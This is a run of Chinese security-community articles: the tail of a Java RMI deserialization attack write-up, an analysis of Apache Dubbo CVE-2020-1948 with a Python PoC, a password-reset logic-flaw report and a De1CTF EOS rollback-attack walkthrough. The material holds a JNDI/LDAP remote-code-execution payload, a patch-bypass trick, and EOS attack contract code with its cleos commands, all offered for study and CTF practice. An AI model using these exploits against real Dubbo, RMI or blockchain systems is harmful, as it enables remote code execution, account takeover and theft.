} catch (NoSuchAlgorithmException complain) {
throw new SecurityException(complain.getMessage());
}
return hash;
}
* Object
对应不同的场景会不一样，基本上都是一些参数序列化之后的结果
* 对bind 来说就是String和remote参数
* 对lookup来说就是String类型的name
* 对dirty来说就是ObjID，Lease等类型参数
* 对于自己写的implemnt就是调用时传的参数
反序列化漏洞基本都是发生在反序列化这些参数的时候（还有部分是主动发起rmi请求，反序列返回值的时候出的问题），后面的一些安全措施也是在这上面做的手脚，比如lookup参数只是String类型，在8u242之后就只序列化String类型的，这样就把lookup这条攻击链给断了。dirty的参数类型也是固定的，在jep290的时候就被限制了。但是用户自己写的方法参数类型可能多种多样，不方便限制，所以基本到现在最新的JDK就只剩这一条路了，这条路在8u242也对String类型参数进行了特殊处理。
上面对发送的报文类型介绍基本上差不多了。
所以可以根据上面的介绍，自己写个socket直接发送上面的数据。
这个实现在
<https://github.com/waderwu/attackRmi/blob/master/src/com/wu/attackRmi/utils/Stub.java>
主要参考了
<https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java>
的实现
下面开始介绍返回报文。
红色框出来的也是序列化的内容
* returnVale
* 0x51
* returnType
有两种一种是normal的return一种是exception的return
* 0x01
* `(TransportConstants.NormalReturn`
* 0x02
* `TransportConstants.ExceptionalReturn`
* uuid
* 还不清楚干啥的
* Object
* 就是返回的具体内容，可能是调用的返回值，也可能是Exception
对返回的解析也是在
<https://github.com/waderwu/attackRmi/blob/master/src/com/wu/attackRmi/utils/Stub.java>
只对lookup的情况进行了解析。
OK，到这里协议我们已经分析完了。
## RMI 攻击面
1. 8u121之前，可以通过bind，lookup，dgc等方式攻击Registry端口等直接反序列化
2. 8u232之前，可以通过lookup发送一个UnicastRef对象，在反序列化的时候进行一次rmi链接，配合JRMPListener进行攻击。
3. 8u242之前，可以通过lookup发送一个UnicastRefRemoteObject对象，在反序列化的时候进行一次rmi链接，配合JRMPListener进行攻击。
4. 如果自己写的implement中method包含非primitive类型的参数（8u242之后string也不行），也能进行反序列化攻击。
限制
* 1，2，3，4都需要本地包含gadgets
* 2，3 需要能出网
* 1，2，3都可以直接攻击Registry端口(1099), 4还需要额外的端口
* 4 需要知道具体的方法，所以还需要有源码，还要能访问非1099端口
下面贴了attackRmi的几种攻击方法，具体的原理请阅读参考链接，openjdk链接是相对应版本改进的代码。
## AttackRegistryByBindAndAnnotationInvocationHandler
条件：
* < jdk8u121
<https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/75f31e0bd829/>
由于`bind(String, Remote)`
第一个参数必须是string，第二个必须是Remote，不能直接把conmoncollections的payload放进去。
ysoserial中RMIRegistryExploit是通过动态代理，把payload塞到`sun.reflect.annotation.AnnotationInvocationHandler`
的`memberValues`。
如果直接发包，发送的时候直接在Object那个位置，贴上我们序列化的payload就可以了，不需要再用动态代理转成相应的类型。下面几个实现都是直接发包的。
## AttackRegistryByDGC
条件：
* < jdk8u121
<https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/75f31e0bd829/>
## AttackRegistryByLookupAndUnicastRef
条件：
* < jdk8u232
<https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333/>
## AttackRegistryByLookupAndUnicastRefRemoteObject
条件：
* < jdk8u242
<https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/033462472c28>
## AttackServerByNonPrimitiveParameter
条件：
* < jdk8u242
* 除primitive tyep以外的类型可被利用
* >= jdk8u242
* 除primitive type和String以外的类型可被利用
<https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/033462472c28>
## attackRmi 实现
刚开始是想用python socket直接发包，因为原先用python
socket写过东西，交互写起来更顺手，但是拼接序列化内容的时候出问题了。我原先直接用的是`ObjectOutputStream`
进行的序列化，但是rmi中用的是`sun.server.rmi.MarshalOutputStream`。
后来意外发现了ysoserial的JRMPclient的实现，然后就在开始用java的socket写，在makeDgcCall的基础上改进。刚开始用jdk自带的`sun.server.rmi.MarshalOutputStream`
没有问题，但是传`UnicastRefRemoteObject`
对象的时候，发现死活传不过去，后来发现jdk自带的`sun.server.rmi.marshalOutputStream`
会进行replaceObject，后来就直接换成了ysoserial中的`MarshalOutputStream` 这样就没啥问题了。
在实现`AttackServerByNonPrimitiveParameter`
遇到了其他问题，比如刚开始不知道咋获取objid，后来跟代码的时候发现在lookup返回的对象里面，然后通过反射将其值读出来。但是要是想用lookup的时候，本地必须要先有个interface，要不然lookup在收到返回数据反序列化的时候会报`classnotfound`，这里我重写了`sun.server.rmi.MarshalOutputStream`的`resolveProxyClass`
，遇到不存在的`interface`换成用以`MockInterface`为接口的动态代理类。
protected Class<?> resolveProxyClass(String[] interfaces){
Class clazz;
try{
clazz = Class.forName(interfaces[0]);
}catch (ClassNotFoundException e){
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 2333);
UnicastRef refObject = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler myInvocationHandler = new RemoteObjectInvocationHandler(refObject);
MockInterface proxy = (MockInterface) Proxy.newProxyInstance(MockInterface.class.getClassLoader(), new Class[] { MockInterface.class, Remote.class }, myInvocationHandler);
clazz = proxy.getClass();
return clazz;
}
try {
return super.resolveProxyClass(interfaces);
}catch (Exception ee){
ee.printStackTrace();
}
return clazz;
}
我能想到解决这个问题的方法有三个
* 自己解析那段bytes，从中提取出ip，port，objid
* 重写`resolveProxyClass`方法
* 加载前通过defineclass，把相应的interface.Class加载进来。
最后考虑到自己java水平不太行，我用了重写`resolveProxyClass`这种方法，但是感觉第一种方法可能更好，有空实现一下。
## attackRmi 使用方法
1. 把代码clone下来
git clone https://github.com/waderwu/attackRmi.git
2. 然后用idea打开，添加第三方库ysoserial
3. 然后编辑相应的文件，更改参数就可以运行了。
欢迎大家报Bug或者PR，当然也欢迎Star！
## 其他
那篇blackhat提了其他攻击面，但是我没看太懂，它里面提到了通过控制num和http可以绕过rebind检查地址的限制，这个没看太懂。希望会的能教教我。
## 参考链接
* <https://xz.aliyun.com/t/7930>
* <https://xz.aliyun.com/t/7932>
* <https://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/>
* <https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/>
* <https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/>
* <https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf> | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/4PeagkLbYPpO6L4tvhgHCw>**
## Apache Dubbo简介
Dubbo是一个分布式服务框架，致力于提供高性能和透明化的RPC远程服务调用方案，以及SOA服务治理方案。简单的说，dubbo就是个服务框架，如果没有分布式的需求，其实是不需要用的，只有在分布式的时候，才有dubbo这样的分布式服务框架的需求，并且本质上是个服务调用的东东，说白了就是个远程服务调用的分布式框架（告别Web
Service模式中的WSdl，以服务者与消费者的方式在dubbo上注册） 其核心部分包含:
* 远程通讯: 提供对多种基于长连接的NIO框架抽象封装，包括多种线程模型，序列化，以及“请求-响应”模式的信息交换方式。
* 集群容错: 提供基于接口方法的透明远程过程调用，包括多协议支持，以及软负载均衡，失败容错，地址路由，动态配置等集群支持。
* 自动发现: 基于注册中心目录服务，使服务消费方能动态的查找服务提供方，使地址透明，使服务提供方可以平滑增加或减少机器。
下图是来自Apache dubbo 官网的工作流程和原理
* **Provider**
* 暴露服务方称之为“服务提供者”
* **Consumer**
* 调用远程服务方称之为“服务消费者”
* **Registry**
* 服务注册与发现的中心目录服务称之为“服务注册中心”
* **Monitor**
* 统计服务的调用次调和调用时间的日志服务称之为“服务监控中心”
* **Container**
* 服务运行容器。
Provider将本地提供的远程方法在注册中心进行注册，Consumer需要调用时会先去注册中心进行查询，根据注册中心返回的结果再去对应的Provider中调用对应的远程方法，如果有变更，注册中心将基于长连接推送变更数据给Consumer
。
启动注册中心，Apache dubbo 推荐使用的注册中心时Apache ZooKeeper注册中心
下载地址<https://zookeeper.apache.org/releases.html>
启动ZooKeeper之前可以自定义修改 “/conf/zoo.cfg”配置文件里的 clientPort和dataDir的值。
Apache Dubbo有一个web端的管理界面 github地址如下 <https://github.com/apache/dubbo-admin>
下载完成后进入/dubbo-admin-server/src/main/resources目录修改application.properties配置文件，将其中的注册中心地址修改为自己启动的注册中心的地址
dubbo-admin-server 目录下运行 mvn package -Dmaven.test.skip=true 将该模块打包成jar包
然后 java -jar dubbo-admin-server-0.2.0-SNAPSHOT.jar 启动dubbo-admin-server，此时启动了
dubbo管理的服务端但是没有UI界面。
进入到 dubbo-admin-ui 中 执行 npm install 该命令执行完成后 执行npm run dev 。
访问http://localhost:8081 此时就有了UI界面，默认账号密码都是root，在服务查询中
我们可以看到Provider在Zookeeper注册中心中注册的远程方法服务，目前没有注册所以无可用数据。
启动我们使用dubbo框架写的程序
可以看到我们的远程方法服务成功在zookeeper注册中心进行注册
## CVE-2020-1948 深度分析
首先观察一下网上已经公布的POC的代码
from hessian2 import new_object
from client import DubboClient
client = DubboClient('127.0.0.1', 20880)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/ExploitMac",
strMatchColumns=["fxx"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='com.example.provider.service.UesrService',
method_name='test',
args=[toStringBean])
不难看出，该漏洞利用链最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。同时我们发现该gadget中用到了com.rometools.rome.feed.impl.ToStringBean，所以Provider的pom.xml中需要添加rometools的引用
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
通过wireshark抓包来看一下 POC发出的报文内容
我们将断点打在 org.apache.dubbo.remoting.transport.DecodeHandler 的第57行代码上。
跟进该方法后可以看到该方法内首先会进行一个if判断，判断完成后会调用DecodeableRpcInvocation.decode()方法并传递进去两个参数，其中有一个inputStream参数，我们详细看一下该参数的内容
可以看到正是我们通过POC发送的序列化数据
跟进该方法，在第131行代码处有一个if判断，这里通过RefctUtils.desc2classArray()处理完desc参数然后返回一个ToStringBean的类对象。
紧接着通过Hessian将ToStringBean的类对象反序列化成ToStringBean对象并赋值给args参数
仔细观察一下此时args指向的ToStringBean对象的详细内容，可见此时ToStringBean对象有两个属性已经被赋值为JdbcRowSetImpl。
当前方法执行完成后
args参数和pts参数分别被赋值给当前对象的arguments属性和parameterTypes属性，然后当前DecodeableRpcInvocation作为参数进行返回
返回到DecodeHandler中，在第51行代码中传入的message参数是一个Request对象，该Request对象是dubbo的包中的，简单看一下该对象的详细信息
跟进该方法，然后继续跟进handleRequest()方法。
在DubboProtocol类的第263行代码中经过一个if判断然后判断成功会抛出一个RemotingException，关键点就在这里，可以看到传入的参数中采用了字符串拼接的形式，当使用字符串拼接的时候，会自动调用StringBuilder的对象的append方法，依次处理channel.getRemoteAddress()的返回值，channel.getLocalAddress()的返回值，getInvocationWithoutData(inv)的返回值，而getInvocationWithoutData(inv)的返回值正式含有恶意请求的DecodeableRpcInvocation对象，StringBuilder要调用DecodeableRpcInvocation的toString方法将其转化为字符串
DecodeableRpcInvocation类的父类RpcInvocation重写了toString方法，看一下RpcInvocation.toString()方法的实现
同样还是字符串拼接，其中Arrays.toString(arguments)，agruments正是之前封装进DecodeableRpcInvocation对象中的ToStringBean对象。接下来自然会调用ToStringBean.toString()方法。
ToStringBean.toString()方法，执行时取出其中的obj属性获取其类名称，并作为参数传入另一个重写的toString方法
该toString方法中会通过反射不断调用JdbcRowSetImpl对象的各个方法，当反射调用JdbcRowSetImpl对象的getDatabaseMetaData方法时，会触发JDNI远程访问dataSource
我们可以看到dataSource的值
至此Apache dubbo (CVE-2020-1948) 反序列化远程代码执行漏洞原理分析完毕
## 补丁绕过分析
这次针对该漏洞的补丁非常简单，在分析该漏洞时说过在DecodeableRpcInvocation类的第131行有一个if
判断，以下是2.7.6版本中该判断的代码
更新后的2.7.7版本该判断的代码如下，可见在该判断內有增加了一个if
判断，且新增加的判断如果判断失败则会抛出IllegalArgumentException异常终止当前线程的执行。
那么如何绕过该判断让程序继续执行下去从而触发远程代码执行，我们跟入RpcUtils.isGenericCall()方法中来仔细观察。
不难发现该方法内用仅仅只用String.equals方法对比了method参数是否和INVOKE_ASYNC常量的值相同。
我门看一下两个常量的值
我们此时 method的值为“test”可见并不相同，紧接着进入RpcUtils.isEcho()方法，同样是和常量进行对比，显然结果也不相同
所以if
判断内的最终结果为true，从而抛出异常终止执行。绕过的方法相比大家也都想到了，我们只要让method的值等于“$invoke”，“$invokeAsync”，“$echo”任意一个即可绕过。我们返回POC中查看与method对应的值是哪一个
一眼就能发现其中的method_name就是我们要找的，我们只需要修改‘test’为‘$invoke’即可对当前补丁进行绕过。
## 总结
此次漏洞是序列化传输到后台的数据被翻序列化完成后，在后续的处理过程中的一个异常处理中进行了危险操作，从而触发了gadget。
* * * | 社区文章 |
在某次挖掘漏洞练手的过程中，碰到过一个比较特别的逻辑漏洞。之所以说比较特别是因为漏洞是偶然之间触发的，并且我本人在漏洞触发之后也是花了快半小时才理清这个逻辑漏洞要怎么复现。
直接来到漏洞页面，如下图。
前期信息收集的时候找了不少学号，可以直接开始测试。这里找回密码的时候后端会自己根据你输入的用户账号查询对应的账号是否存在。
输入账号和验证码，跳转到下图。
这里当时提交漏洞的时候没有注意存图，大概说一下这里的校验流程。
首先这里可以随便输入一个验证码，然后抓响应包修改(就是把响应包中的fail改成success)进入下一步密码重置页面。当然密码重置的时候会失败，因为校验了短信验证码的结果。
然后这里还校验了一下用户是否发送了验证码。如果没有点击发送验证码就提交验证码，会返回验证码未发送的提示。如果发送了验证码会提示验证码错误。
漏洞挖掘的时候，自己第一次成功触发是在验证码处输入了null，然后成功第一次重置了某个同学的密码，如图
其实当时我自己是非常懵的，感觉有点莫名奇妙。
回想一下密码重置的校验过程
输入账号--》校验是否发送验证码--》校验验证码是否正确--》密码重置成功
当时测试了半个多小时吧，最终成功复现。
先讲一下如何完整复现这个密码找回的逻辑漏洞，再猜想为何有这种行为。
第一步
输入用户账号和验证码
第二步
点击发送短信验证码
成功获取验证码后可以看到提示信息
第三步
此时再度点击，通过手机号找回密码
第四步
重新输入刚才的账号(注意这里必须是同一个账号才行)，验证码
第五步
直接来到了刚才的短信验证码界面，但是这次不需要发短信了，直接输入null，提交
第六步
来到密码重置界面，直接设置密码就可以重置了
登录验证下。没问题
根据漏洞挖掘的过程
猜想这个逻辑漏洞后端应该有如下逻辑。
有一个校验短信验证码的字段，这里暂且叫send_flag 默认应该为false，发送短信后被设置为true。
这里能成功重置用户密码的关键也在于存在一个默认的短信验证码null。
根据逻辑漏洞的行为可以大胆猜想每次用户点击通过手机找回密码后，且在点击发送短信验证码之前，这个短信验证码的值都会被重置为null。
而且在整个密码找回的过程中，这个(猜想的)send_flag字段应该是跟cookie关联起来了，点击一次即可重复使用。
梳理一下整个流程
第一次输入账号-->发送验证码前,默认短信验证码为null-->发送验证码(send_flag被设置为真，且短信验证码不为null)-->再次回到输入账号界面，输入账号-->发送验证码前(默认短信验证码被重置为null,且send_flag已为真)-->直接输入null通过后端校验-->成功重置密码
由于整个过程都为黑盒测试，猜想也只是笔者自己的天马行空，希望能给各位师傅分享自己挖掘漏洞中的一些奇妙的经历，如果有写得不对不好的地方，欢迎各位师傅指正。 | 社区文章 |
# Easy EOS from De1CTF2019（2）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 回顾一下，上一篇我们对题目进行了简单介绍，并就基于逆向的随机数攻击进行了阐述；这一次，我们将入门最基础的交易回滚攻击，也即 Rollback
> attack。如果说 fallback 攻击是以太坊中最具代表性的，那 rollback 攻击则应该是 EOS 中的亮点
基础的方面，我还是先建议阅读
* EOS的[通信模型](https://developers.eos.io/eosio-nodeos/docs/communication-model)
* 交易[回滚漏洞简析](%E6%BC%8F%E6%B4%9E%E7%AE%80%E6%9E%90)
有了铺垫，我们开始就题目而言进行介绍
## Rollback attack
怎么在不知道准确bet值的时候赢下10场？上一次介绍可以通过[破译随机数](https://www.anquanke.com/post/id/183848)，但这个方式显然不够优雅，况且
wasm 的逆向确实过于麻烦了，那有没有其他的思路呢？试想一下，如果我们瞎猜，但是每次让失败的次数都“回滚”，那就可以了吧！
如果屏幕前的你之前做过以太坊类型的题目，应该会熟悉“内部交易”即 [Internal
Transactions](//dewone.zendesk.com/hc/zh-cn/articles/360005205873-Transactions-%E5%92%8CInternal-Transactions%E7%9A%84%E5%8C%BA%E5%88%AB))，在进行 fallback
攻击时一定会有产生大量的内部交易，而且由于内部交易的数据多数时候无法由区块链浏览器进行跟踪，总是可以隐藏一些行踪。
我们由下图理解以太坊中的内部交易
这个情况下，合约充当一个中介(proxy)的作用，由这个中介继续进行发布的交易均为内部交易；但是对于EOS而言
合约的通信可以进一步划分为内联(inline)以及延迟(deffered)，简单的来说，以太坊中的内部交易应该是EOS内联交易的子集，而延迟交易添加了时延的功能并可以主动地撤销；不同的则是，EOS中的内联交易遵守严格的回滚机制，官方的介绍如下:
> If any part of the transaction fails, the inline actions will unwind with
> the rest of the transaction.
这也就意味着内联交易链条上一旦有一环出现了问题，整个交易就会全部回滚，而这正是我们需要的
> 1.6 cdt 以后可以使用 check 来主动的触发错误回滚交易
### 编写攻击代码
我们首先阅读一下官方给出的[攻击代码](https://github.com/De1ta-team/De1CTF2019/blob/master/writeup/misc/Easy%20EOS/attack4/attack4.cpp)
#include <eosio/eosio.hpp>
#include <eosio/system.hpp>
#define TARGET_ACCOUNT "de1ctftest11"
using namespace eosio;
class [[eosio::contract]] attack4 : public contract {
private:
struct [[eosio::table]] user_info {
name username;
uint32_t win;
uint32_t lost;
auto primary_key() const { return username.value; }
};
typedef eosio::multi_index<name("users"), user_info> user_info_table;
user_info_table _users;
public:
using contract::contract;
attack4( name receiver, name code, datastream<const char*> ds ):contract(receiver, code, ds),
_users(eosio::name(TARGET_ACCOUNT), eosio::name(TARGET_ACCOUNT).value) {}
[[eosio::action]]
void judge()
{
auto user_iterator = _users.find(get_self().value);
check(user_iterator != _users.end(), "empty.");
check(user_iterator->lost == 0, "you lost.");
}
[[eosio::action]]
void makebet()
{
int random_num = 3;
action(
permission_level{get_self(),"active"_n}, //所需要的权限结构
name(TARGET_ACCOUNT), // 调用的合约名称
"bet"_n, // 合约的方法
std::make_tuple(get_self(), random_num) // 传递的参数
).send();
action(
permission_level{get_self(),"active"_n}, //所需要的权限结构
get_self(), // 调用的合约名称
"judge"_n, // 合约的方法
std::make_tuple(get_self()) // 传递的参数
).send();
}
};
我们对合约关键的部分做一些解释，如果仍有疑惑可以在讨论区留言
首先我们对合约内定义的数据表做了解
struct [[eosio::table]] user_info {
name username;
uint32_t win;
uint32_t lost;
auto primary_key() const { return username.value; }
};
再通过区块链浏览器看看这个表的作用，合约中命名为 [users
表](https://jungle.bloks.io/account/de1ctftest11?loadContract=true&tab=Tables&account=de1ctftest11&scope=de1ctftest11&limit=100&table=users)
这里通过尝试的方法可以获取到这个表记录所有参与用户的游戏状态，其中键值即为参与的用户名，而 win 记录胜利场次同时 lost 记录输的场次；
> 这里笔者在初次应付题目时候有如下疑惑：表的作用容易观察但表内数据结构该如何准确定夺呢？其中名为username的键以合约中专属的 **name**
> 类型这是好确定的，但 **win** 和 **lost** 的 unsigned int32
> 类型这可是不太好猜测的吧？读者如果有什么可以查询表内的数据类型的话请示教
>
> 这里我们就算后知后觉，阅读wp获取到数据的类型（猜测一般情况下题目给出部分合约内容以保证获取表结构，或者再倒霉也许可以通过逆向方式进行
由于题目要求已经给出，再获取10次胜利前我们不得输掉一场，那么，根据前文提到的内联交易的方式，如果目标合约判断用户输入以及开奖是放到一个交易链中的话，我们可以给出如下的攻击思路
1. 攻击合约，以任意一个赌注 (0 — 4) 发起游戏（当然该例子中固定为3不过没有什么影响）
2. 在下赌注后，以内联的方式查询目标合约 users 表
* 如果 lost 数目为 0 则说明此次下注（运气不错）赢了
* 如果 lost 数目非 0 则说明此次下注（运气不佳）输了，主动回滚交易，等待下一次攻击
通过这样的方式，我们自然就可以保证不输的情况下完成10次胜利，我们如下进行展示
### 落实回滚攻击
这里我们默认已经注册好了 JUNGLE TESTNET
的账户，没有账户的读者可以前去[官网](https://jungletestnet.io/)注册并导入私钥进入本地的 keosd
钱包，我们首先为自己的合约抵押一定的 RAM 保证可以进行合约部署
formal1n@malindeMacBook-Air:~ ➜ cleos -u http://jungle2.cryptolions.io:80 system buyram aaatester142 aaatester142 "10.0000 EOS"
executed transaction: 7c52c650174fc7dc9cab84a23017b8319392e24aa2e1418b04a64a7df6bd5d8a 128 bytes 762 us
# eosio <= eosio::buyram {"payer":"aaatester142","receiver":"aaatester142","quant":"10.0000 EOS"}
# eosio.token <= eosio.token::transfer {"from":"aaatester142","to":"eosio.ram","quantity":"9.9500 EOS","memo":"buy ram"}
# aaatester142 <= eosio.token::transfer {"from":"aaatester142","to":"eosio.ram","quantity":"9.9500 EOS","memo":"buy ram"}
# eosio.ram <= eosio.token::transfer {"from":"aaatester142","to":"eosio.ram","quantity":"9.9500 EOS","memo":"buy ram"}
# eosio.token <= eosio.token::transfer {"from":"aaatester142","to":"eosio.ramfee","quantity":"0.0500 EOS","memo":"ram fee"}
# aaatester142 <= eosio.token::transfer {"from":"aaatester142","to":"eosio.ramfee","quantity":"0.0500 EOS","memo":"ram fee"}
# eosio.ramfee <= eosio.token::transfer {"from":"aaatester142","to":"eosio.ramfee","quantity":"0.0500 EOS","memo":"ram fee"}
# eosio.token <= eosio.token::transfer {"from":"eosio.ramfee","to":"eosio.rex","quantity":"0.0500 EOS","memo":"transfer from eosio.ramfee t...
# eosio.ramfee <= eosio.token::transfer {"from":"eosio.ramfee","to":"eosio.rex","quantity":"0.0500 EOS","memo":"transfer from eosio.ramfee t...
# eosio.rex <= eosio.token::transfer {"from":"eosio.ramfee","to":"eosio.rex","quantity":"0.0500 EOS","memo":"transfer from eosio.ramfee t...
warn 2019-08-27T14:28:42.174 thread-0 main.cpp:495 warning: transaction executed locally, but may not be confirmed by the network yet
> 注意命令中 -u 是指定代理的全节点来发布命令（当然如果读者自己有全节点的话就不用这么麻烦了，这毕竟慢，而且还需要科学上网
然后我们将wp给出的合约进行部署，当然编译的过程可以使用本地的 cdt 或者借助一些线上工具如币安的编译器
[https://beosin.com/#/，假设编译得到的](https://beosin.com/#/%EF%BC%8C%E5%81%87%E8%AE%BE%E7%BC%96%E8%AF%91%E5%BE%97%E5%88%B0%E7%9A%84)
abi 和合约 wasm 文件存放在 attack4 文件夹，如下
我们通过如下命令部署
formal1n@malindeMacBook-Air:attack4 ➜ cleos -u http://jungle2.cryptolions.io:80 set contract aaatester142 .
Reading WASM from /Users/formal1n/Downloads/blockchain/learn/attack4/attack4.wasm...
Publishing contract...
executed transaction: 9735e39d4a45505b06d1ce0f86e7ec1a0f56c05069eb47009065aaa7edcfdb45 3144 bytes 827 us
# eosio <= eosio::setcode {"account":"aaatester142","vmtype":0,"vmversion":0,"code":"0061736d0100000001420c6000006000017f60027...
# eosio <= eosio::setabi {"account":"aaatester142","abi":"0e656f73696f3a3a6162692f312e310003056a756467650000076d616b656265740...
warn 2019-08-27T14:38:48.505 thread-0 main.cpp:495 warning: transaction executed locally, but may not be confirmed by the network yet
接下来我们尝试一次下注，不过在之前我们还需要给合约设定 eosio.code 权限，关于该权限不理解的可以去自行搜索，这里我们就当套用
formal1n@malindeMacBook-Air:attack4 ➜ cleos -u http://jungle2.cryptolions.io:80 set account permission aaatester142 active '{"threshold" : 1, "keys" : [{"key":"EOS5kk3M6AhBLhhCPHvHPZBCb9i2R7GXg4ZQSL3pD7241NZrn3Efc","weight":1}], "accounts" : [{"permission":{"actor":"aaatester142","permission":"eosio.code"},"weight":1}]}' owner -p aaatester142@owner
executed transaction: b48cb2c71a20636b5201e12de4e7234fccbe533fb1fd5208d0caf9d651050ed9 184 bytes 217 us
# eosio <= eosio::updateauth {"account":"aaatester142","permission":"active","parent":"owner","auth":{"threshold":1,"keys":[{"key...
warn 2019-08-27T14:40:34.612 thread-0 main.cpp:495 warning: transaction executed locally, but may not be confirmed by the network yet
好的，万事俱备，我们先试试一次下注
formal1n@malindeMacBook-Air:attack4 ➜ cleos -u http://jungle2.cryptolions.io:80 push action aaatester142 makebet '{}' -p aaatester142@active
Error 3050003: eosio_assert_message assertion failure
Error Details:
assertion failure with message: you lost.
pending console output:
看到结果，这一次我们下注是输了，不过交易整个回滚，查看浏览器可以发现并没有输掉的这一次记录，命令台也没有此次交易相关的哈希；
我们多次再尝试，即使我们回滚了交易，但是目标合约内的随机种子是变化的，故我们一定有机会可以下注成功，如尝试第四次时得到
formal1n@malindeMacBook-Air:attack4 ⍉ ➜ cleos -u http://jungle2.cryptolions.io:80 push action aaatester142 makebet '{}' -p aaatester142@active
executed transaction: 0f1558b1d65fe9ddb5646f60fe5f8c7ce82df97a836e8e201c8a0147c72caa81 96 bytes 334 us
# aaatester142 <= aaatester142::makebet ""
# de1ctftest11 <= de1ctftest11::bet {"username":"aaatester142","num":3}
# aaatester142 <= aaatester142::judge "2048b82a63958d31"
warn 2019-08-27T14:44:31.409 thread-0 main.cpp:495 warning: transaction executed locally, but may not be confirmed by the network yet
自然，细心的读者会发问，如果是回滚，那记录种子的数据表不是也会回滚么？但实际上目标合约的逻辑是每一次根据现有的种子值已经时间戳值更新随机数并以该随机数进行比较，于是，成功的攻击才会更改种子值而且不必担心；（若试想种子的更新值不是依靠时间啥的，那固定一个攻击下注值还是蛮危险的）
### 其他的回滚方法
通过学习，笔者还依葫芦画瓢想到另外一种回滚攻击方法，通过记录 seed 的值和每次下注的值可以发现如下规律
* 表中现存的 seed 值总是与上一次 (下注值 % 5) 的值相同
那么，则可以猜测逻辑应该为：每次下注，目标合约都将取得旧的种子值并根据其和时间戳（或者其他变量）进行种子值更新，更新的种子值 % 5
则为赌注的正确值，在和用户输入比较之后再更新seed表；
这样一来，另一种回滚思路则为下注后内联查询seed表，并通过比较查询得到的新seed值求余是否与此次攻击下注相等来决定是否回滚，代码在这里省略，读者只需要简单地更改上文的
judge 函数即可
### 安全的开奖方式
既然内联的开奖方式是会遭受到回滚攻击的，那么正确的方式应该何如呢？由于我们无法强制玩家使用非内联方式下注，那么回滚的风险一定存在，但仔细想回滚本身是一种正常的行为，不正常的是黑客通过查询和输赢有关的信息来回滚从而保证只赢不输，那么，我们可以重新设计目标合约让其不会泄露数据库内的相关信息
原合约代码文件可以戳[这](https://github.com/De1ta-team/De1CTF2019/tree/master/writeup/misc/Easy%20EOS/easyeos)查询
更改的合约代码如下
#include <eosio/eosio.hpp>
#include <eosio/system.hpp>
#include <eosio/transaction.hpp>
using namespace eosio;
class [[eosio::contract]] easyeospack : public contract {
private:
struct [[eosio::table]] user_info {
name username;
uint32_t win;
uint32_t lost;
auto primary_key() const { return username.value; }
};
struct [[eosio::table]] seed {
uint64_t key = 1;
uint32_t value = 1;
auto primary_key() const { return key; }
};
struct [[eosio::table]] mail {
name username;
std::string address;
auto primary_key() const { return username.value; }
};
typedef eosio::multi_index<name("users"), user_info> users_table;
typedef eosio::multi_index<name("seed"), seed> seed_table;
typedef eosio::multi_index<name("mails"), mail> mails_table;
users_table _users;
seed_table _seed;
mails_table _mails;
public:
using contract::contract;
easyeospack( name receiver, name code, datastream<const char*> ds ):contract(receiver, code, ds),
_users(receiver, receiver.value),
_seed(receiver, receiver.value),
_mails(receiver, receiver.value) {}
ACTION deferred1(int new_seed_value) {
require_auth(get_self());
auto seed_iterator = _seed.begin();
_seed.modify( seed_iterator, _self, [&]( auto& s ) {
s.value = new_seed_value;
});
}
ACTION deferred2(name username, bool has_win) {
require_auth(get_self());
auto user_iterator = _users.find(username.value);
if(has_win) {
_users.modify(user_iterator, username, [&](auto& new_user) {
new_user.win = user_iterator->win + 1;
});
}
else{
_users.modify(user_iterator, username, [&](auto& new_user) {
new_user.lost = 1;
});
}
}
[[eosio::action]]
void bet( name username, int num)
{
// Ensure this action is authorized by the player
require_auth(username);
int range = 5;
auto seed_iterator = _seed.begin();
// Initialize the seed with default value if it is not found
if (seed_iterator == _seed.end()) {
seed_iterator = _seed.emplace( _self, [&]( auto& seed ) { });
}
// Generate new seed value using the existing seed value
int prime = 65537;
auto new_seed_value = (seed_iterator->value + (uint32_t)(eosio::current_time_point().sec_since_epoch())) % prime;
int random_num = new_seed_value % range;
// 延迟交易修改 seed 表的值
eosio::transaction deferred;
deferred.actions.emplace_back(
permission_level{get_self(),"active"_n},
get_self(), "deferred1"_n,
std::make_tuple(random_num)
);
deferred.send(username.value + 0, get_self());
// Create a record in the table if the player doesn't exist
auto user_iterator = _users.find(username.value);
if (user_iterator == _users.end()) {
user_iterator = _users.emplace(username, [&](auto& new_user) {
new_user.username = username;
});
}
check(user_iterator->lost <= 0, "You lose!");
if(num == random_num){
// 延迟交易修改表值
eosio::transaction deferred;
deferred.actions.emplace_back(
permission_level{get_self(),"active"_n},
get_self(), "deferred2"_n,
std::make_tuple(username, true)
);
deferred.send(username.value + 1, get_self());
}
else{
// 延迟交易修改表值
eosio::transaction deferred;
deferred.actions.emplace_back(
permission_level{get_self(),"active"_n},
get_self(), "deferred2"_n,
std::make_tuple(username, false)
);
deferred.send(username.value + 2, get_self());
}
}
[[eosio::action]]
void sendmail(name username, std::string address){
require_auth(username);
// Create a record in the table if the player doesn't exist
auto user_iterator = _users.find(username.value);
